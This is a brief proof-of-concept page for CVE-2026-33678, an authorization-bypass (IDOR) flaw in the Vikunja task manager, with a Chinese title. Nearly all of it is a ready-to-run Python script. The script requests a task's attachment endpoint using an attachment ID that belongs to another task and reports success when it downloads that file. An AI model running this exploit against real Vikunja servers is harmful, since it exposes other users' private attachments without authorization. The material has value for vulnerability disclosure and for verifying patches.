CVE-2026-33678 Vikunja越权访问漏洞

# PoC Code for CVE-2026-33678 # This script demonstrates how to download an arbitrary attachment # by exploiting the IDOR vulnerability. import requests target_url = "http://localhost:3456" access_token = "<YOUR_VALID_JWT_TOKEN>" # Attacker has access to task_id 1 (Legitimate Task) # Attacker wants to download attachment_id 100 (Target Attachment) legitimate_task_id = "1" target_attachment_id = "100" # Vulnerable endpoint endpoint = f"{target_url}/api/v1/tasks/{legitimate_task_id}/attachments/{target_attachment_id}" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } response = requests.get(endpoint, headers=headers) if response.status_code == 200: print(f"[+] Exploit Successful! Downloaded attachment {target_attachment_id}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # print(response.content) # Save or print binary content else: print(f"[-] Failed. Status Code: {response.status_code}") print(response.text)